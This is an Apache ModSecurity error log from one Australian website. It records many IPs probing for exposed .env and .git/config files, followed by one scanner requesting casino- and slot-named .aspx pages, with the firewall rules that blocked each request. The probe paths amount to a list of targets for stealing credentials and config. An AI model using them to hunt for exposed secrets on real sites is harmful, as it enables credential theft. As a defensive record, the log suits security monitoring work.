[Fri Feb 13 14:34:53.910442 2026] [:error] [pid 47080:tid 47094] [client 209.50.160.156:16367] [client 209.50.160.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aY7GDUbWJwYCVF39z6vS_gAAAcY"]
[Fri Feb 13 14:34:55.005141 2026] [:error] [pid 51243:tid 51264] [client 154.213.162.216:50057] [client 154.213.162.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "aY7GD8im7ZTAHzi7xZuRXQAAARM"]
[Fri Feb 13 14:34:55.118323 2026] [:error] [pid 47143:tid 47217] [client 104.207.32.76:19469] [client 104.207.32.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "aY7GD8hV30NbMarHJLsISgAAAkM"]
[Fri Feb 13 14:34:55.688284 2026] [:error] [pid 46821:tid 46836] [client 104.207.54.141:20501] [client 104.207.54.141] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aY7GD46G1N5YSq0J0gfTwgAAAU0"]
[Fri Feb 13 14:34:56.375441 2026] [:error] [pid 47575:tid 47598] [client 104.207.35.16:64905] [client 104.207.35.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aY7GEAIPBuXb07mA_mR9cgAAAtE"]
[Fri Feb 13 14:34:56.935861 2026] [:error] [pid 47358:tid 47387] [client 65.111.22.48:52077] [client 65.111.22.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aY7GEMQFBuVVUQTESUzRSwAAApU"]
[Fri Feb 13 14:34:57.886044 2026] [:error] [pid 47143:tid 47237] [client 209.50.170.183:45317] [client 209.50.170.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aY7GEchV30NbMarHJLsITwAAAlc"]
[Fri Feb 13 14:34:58.583797 2026] [:error] [pid 47358:tid 47376] [client 45.3.36.86:30287] [client 45.3.36.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "aY7GEsQFBuVVUQTESUzRTQAAAoo"]
[Fri Feb 13 14:34:59.004058 2026] [:error] [pid 47143:tid 47235] [client 209.50.186.51:42319] [client 209.50.186.51] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "aY7GE8hV30NbMarHJLsIVAAAAlU"]
[Fri Feb 13 14:34:59.906250 2026] [:error] [pid 49225:tid 49294] [client 216.26.251.97:45525] [client 216.26.251.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/frontend/.env"] [unique_id "aY7GEzwH8-zGxtAd3jvCtQAAAIA"]
[Fri Feb 13 14:35:00.476758 2026] [:error] [pid 47080:tid 47096] [client 216.26.228.208:55755] [client 216.26.228.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/frontend/.env"] [unique_id "aY7GFEbWJwYCVF39z6vTBgAAAcg"]
[Fri Feb 13 14:35:01.365824 2026] [:error] [pid 49223:tid 49252] [client 65.111.9.180:54247] [client 65.111.9.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aY7GFR8A_fZBamNLnfX9ugAAABQ"]
[Fri Feb 13 14:35:01.975284 2026] [:error] [pid 47080:tid 47095] [client 65.111.7.109:15525] [client 65.111.7.109] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aY7GFUbWJwYCVF39z6vTDQAAAcc"]
[Fri Feb 13 14:35:02.646830 2026] [:error] [pid 47575:tid 47583] [client 104.207.35.0:56639] [client 104.207.35.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aY7GFgIPBuXb07mA_mR9eAAAAsM"]
[Fri Feb 13 14:35:03.294883 2026] [:error] [pid 47143:tid 47230] [client 104.207.61.39:58351] [client 104.207.61.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aY7GF8hV30NbMarHJLsIWAAAAlA"]
[Fri Feb 13 14:35:04.534037 2026] [:error] [pid 47143:tid 47222] [client 216.26.225.232:14701] [client 216.26.225.232] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY7GGMhV30NbMarHJLsIWQAAAkg"]
[Fri Feb 13 14:35:05.039649 2026] [:error] [pid 47143:tid 47228] [client 104.207.46.242:41651] [client 104.207.46.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY7GGchV30NbMarHJLsIXAAAAk4"]
[Fri Feb 13 14:35:05.605202 2026] [:error] [pid 47358:tid 47369] [client 104.207.52.4:22239] [client 104.207.52.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/dev/.git/config"] [unique_id "aY7GGcQFBuVVUQTESUzRTwAAAoQ"]
[Fri Feb 13 14:35:06.335896 2026] [:error] [pid 49223:tid 49236] [client 104.167.19.203:28085] [client 104.167.19.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/dev/.git/config"] [unique_id "aY7GGh8A_fZBamNLnfX9wgAAAAQ"]
[Fri Feb 13 14:35:07.009289 2026] [:error] [pid 18097:tid 18108] [client 104.207.47.75:55307] [client 104.207.47.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.git/config"] [unique_id "aY7GG3FzYiQ_BfaDDlbdFAAAAYk"]
[Fri Feb 13 14:35:07.622324 2026] [:error] [pid 18097:tid 18100] [client 65.111.4.46:34191] [client 65.111.4.46] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.git/config"] [unique_id "aY7GG3FzYiQ_BfaDDlbdFwAAAYE"]
[Fri Feb 13 14:35:08.282676 2026] [:error] [pid 47575:tid 47585] [client 45.3.33.41:27625] [client 45.3.33.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/v2/.git/config"] [unique_id "aY7GHAIPBuXb07mA_mR9gQAAAsU"]
[Fri Feb 13 14:35:08.713499 2026] [:error] [pid 47575:tid 47587] [client 45.3.45.144:30835] [client 45.3.45.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/v2/.git/config"] [unique_id "aY7GHAIPBuXb07mA_mR9gwAAAsc"]
[Fri Feb 13 14:35:09.373586 2026] [:error] [pid 49225:tid 49297] [client 209.50.169.97:49179] [client 209.50.169.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp/.git/config"] [unique_id "aY7GHTwH8-zGxtAd3jvCwgAAAIM"]
[Fri Feb 13 14:35:09.997828 2026] [:error] [pid 49225:tid 49295] [client 104.167.19.136:49127] [client 104.167.19.136] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp/.git/config"] [unique_id "aY7GHTwH8-zGxtAd3jvCxgAAAIE"]
[Fri Feb 13 14:35:10.555402 2026] [:error] [pid 47080:tid 47094] [client 209.50.180.187:40537] [client 209.50.180.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/test/.git/config"] [unique_id "aY7GHkbWJwYCVF39z6vTIwAAAcY"]
[Fri Feb 13 14:35:11.485342 2026] [:error] [pid 49335:tid 49352] [client 104.207.42.143:26959] [client 104.207.42.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/test/.git/config"] [unique_id "aY7GH6p--SFY2nwOiqkqnwAAAM8"]
[Fri Feb 13 14:35:12.175765 2026] [:error] [pid 18097:tid 18115] [client 216.26.234.221:23235] [client 216.26.234.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.git/config"] [unique_id "aY7GIHFzYiQ_BfaDDlbdGQAAAZA"]
[Fri Feb 13 14:35:12.764794 2026] [:error] [pid 49223:tid 49249] [client 209.50.167.13:51329] [client 209.50.167.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.git/config"] [unique_id "aY7GIB8A_fZBamNLnfX9ywAAABE"]
[Fri Feb 13 14:35:13.455783 2026] [:error] [pid 47080:tid 47106] [client 104.207.45.5:16013] [client 104.207.45.5] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backup/.git/config"] [unique_id "aY7GIUbWJwYCVF39z6vTKwAAAdI"]
[Fri Feb 13 14:35:14.062635 2026] [:error] [pid 47080:tid 47089] [client 45.3.62.173:44923] [client 45.3.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backup/.git/config"] [unique_id "aY7GIkbWJwYCVF39z6vTLAAAAcE"]
[Fri Feb 13 14:35:14.611372 2026] [:error] [pid 18097:tid 18116] [client 216.26.254.50:52089] [client 216.26.254.50] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/site/.git/config"] [unique_id "aY7GInFzYiQ_BfaDDlbdHgAAAZE"]
[Fri Feb 13 14:35:15.363425 2026] [:error] [pid 18097:tid 18123] [client 104.207.47.75:16123] [client 104.207.47.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/site/.git/config"] [unique_id "aY7GI3FzYiQ_BfaDDlbdIgAAAZg"]
[Fri Feb 13 14:35:16.074424 2026] [:error] [pid 47080:tid 47105] [client 209.50.179.6:37795] [client 209.50.179.6] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.git/config"] [unique_id "aY7GJEbWJwYCVF39z6vTLwAAAdE"]
[Fri Feb 13 14:35:16.468981 2026] [:error] [pid 47080:tid 47103] [client 65.111.29.208:36325] [client 65.111.29.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.git/config"] [unique_id "aY7GJEbWJwYCVF39z6vTMAAAAc8"]
[Fri Feb 13 14:35:17.137478 2026] [:error] [pid 47358:tid 47386] [client 209.50.173.139:40173] [client 209.50.173.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/new/.git/config"] [unique_id "aY7GJcQFBuVVUQTESUzRYQAAApQ"]
[Fri Feb 13 14:35:17.727053 2026] [:error] [pid 49225:tid 49308] [client 104.207.33.122:41495] [client 104.207.33.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/new/.git/config"] [unique_id "aY7GJTwH8-zGxtAd3jvC0AAAAI4"]
[Fri Feb 13 14:55:58.025266 2026] [:error] [pid 49223:tid 49233] [client 51.83.7.81:47376] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aY7K_h8A_fZBamNLnfUD4gAAAAE"]
[Fri Feb 13 14:56:00.383141 2026] [:error] [pid 18097:tid 18099] [client 51.83.7.81:45560] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aY7LAHFzYiQ_BfaDDlbh4gAAAYA"]
[Fri Feb 13 14:56:02.820969 2026] [:error] [pid 51243:tid 51250] [client 51.83.7.81:38776] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aY7LAsim7ZTAHzi7xZuVMwAAAQU"]
[Fri Feb 13 14:56:06.329111 2026] [:error] [pid 47080:tid 47106] [client 51.83.7.81:38782] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aY7LBkbWJwYCVF39z6vaqwAAAdI"]
[Fri Feb 13 14:56:09.292671 2026] [:error] [pid 49223:tid 49241] [client 51.83.7.81:38798] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aY7LCR8A_fZBamNLnfUD_QAAAAk"]
[Fri Feb 13 14:56:12.087285 2026] [:error] [pid 49223:tid 49250] [client 51.83.7.81:37462] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aY7LDB8A_fZBamNLnfUD_gAAABI"]
[Fri Feb 13 14:56:15.263024 2026] [:error] [pid 47358:tid 47383] [client 51.83.7.81:37476] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aY7LD8QFBuVVUQTESUzWNgAAApE"]
[Fri Feb 13 14:56:18.436710 2026] [:error] [pid 47358:tid 47368] [client 51.83.7.81:37482] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aY7LEsQFBuVVUQTESUzWOwAAAoM"]
[Fri Feb 13 14:56:21.438380 2026] [:error] [pid 49223:tid 49256] [client 51.83.7.81:37488] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aY7LFR8A_fZBamNLnfUEBQAAABg"]
[Fri Feb 13 14:56:24.277852 2026] [:error] [pid 47080:tid 47095] [client 51.83.7.81:36832] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aY7LGEbWJwYCVF39z6vaxAAAAcc"]
[Fri Feb 13 14:56:27.214659 2026] [:error] [pid 47080:tid 47104] [client 51.83.7.81:36838] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aY7LG0bWJwYCVF39z6vaywAAAdA"]
[Fri Feb 13 14:56:29.923753 2026] [:error] [pid 47080:tid 47111] [client 51.83.7.81:36842] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aY7LHUbWJwYCVF39z6vazQAAAdc"]
[Fri Feb 13 14:56:33.001088 2026] [:error] [pid 46821:tid 46823] [client 51.83.7.81:56690] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aY7LII6G1N5YSq0J0gfYSgAAAUA"]
[Fri Feb 13 14:56:36.233809 2026] [:error] [pid 18097:tid 18123] [client 51.83.7.81:56692] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aY7LJHFzYiQ_BfaDDlbiAAAAAZg"]
[Fri Feb 13 14:56:39.242877 2026] [:error] [pid 46821:tid 46826] [client 51.83.7.81:56694] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aY7LJ46G1N5YSq0J0gfYUAAAAUM"]
[Fri Feb 13 14:56:42.016560 2026] [:error] [pid 47143:tid 47228] [client 51.83.7.81:38468] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aY7LKshV30NbMarHJLsL3wAAAk4"]
[Fri Feb 13 14:56:44.440230 2026] [:error] [pid 46821:tid 46829] [client 51.83.7.81:38476] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aY7LLI6G1N5YSq0J0gfYVQAAAUY"]
[Fri Feb 13 14:56:46.925186 2026] [:error] [pid 47143:tid 47235] [client 51.83.7.81:38490] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aY7LLshV30NbMarHJLsL4gAAAlU"]
[Fri Feb 13 14:56:49.471292 2026] [:error] [pid 49223:tid 49237] [client 51.83.7.81:38500] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aY7LMR8A_fZBamNLnfUEKAAAAAU"]
